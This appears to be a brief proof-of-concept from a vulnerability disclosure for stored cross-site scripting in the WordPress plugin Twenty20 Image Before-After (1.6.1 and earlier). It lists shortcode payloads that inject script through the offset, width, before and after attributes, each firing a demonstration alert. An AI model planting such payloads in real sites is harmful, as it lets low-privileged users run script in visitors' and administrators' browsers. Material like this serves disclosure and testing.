Twenty20 Image Before-After <= 1.6.1 - Contributor+ Stored XSS

v <= 1.6.1
[twenty20 img1='test1.jpg' img2='test2.jpg' offset='1})});alert(/XSS-offset-/)//']

v < 1.5.9
[twenty20 img1='test1.jpg' img2='test2.jpg' width='100px;height:100px;background:red;" onmouseover="alert(/XSS-width/)"']
[twenty20 img1='test1.jpg' img2='test2.jpg' before='")});alert(/XSS-before/)//']
[twenty20 img1='test1.jpg' img2='test2.jpg' after='")});alert(/XSS-after/)//']